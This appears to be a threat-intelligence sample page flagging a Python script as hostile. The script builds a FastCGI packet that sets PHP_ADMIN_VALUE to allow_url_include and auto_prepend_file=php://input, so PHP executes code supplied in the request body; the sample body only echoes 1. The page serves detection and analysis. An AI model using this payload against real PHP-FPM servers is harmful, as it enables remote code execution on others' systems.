Hostile 100% python Download

variant-true.py

Crafts FastCGI exploit payload

FastCGI payload enables PHP execution from the request bodyPHP request-body prepend directive
SHA-2568c275fd04c9539b51ab4118a2a8346660fab11d6ccd6bfba9281e8f1e58309e8

Also flagged by https://www.bleepingcomputer.com/feed/ (PHP security updates fix 18 flaws, including critical RCE bugs).

Evidence

PHP request-body prepend directive lines 1–24
1import struct
2import sys
3
4# Reconstructed parameter-bearing FastCGI fragment; no delivery or heap assumptions.
5def record(kind, body):
6 return struct.pack('!BBHHBB', 1, kind, 1, len(body), 0, 0) + body
7
8def nv(name, value):
⋯4 lines
13
14params = {
15 'SCRIPT_FILENAME': '/srv/www/index.php',
16 'REQUEST_METHOD': 'POST',
17 'REMOTE_ADDR': '127.0.0.1',
18 'PHP_ADMIN_VALUE': 'allow_url_include=true\nauto_prepend_file=php://input;',
19}
20begin = struct.pack('!HB5x', 1, 1)
21packet = record(1, begin) + record(4, b''.join(nv(k, v) for k, v in params.items()))
22packet += record(4, b'') + record(5, b'<?php echo 1; ?>') + record(5, b'')
23if __name__ == '__main__':
24 sys.stdout.buffer.write(packet)

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.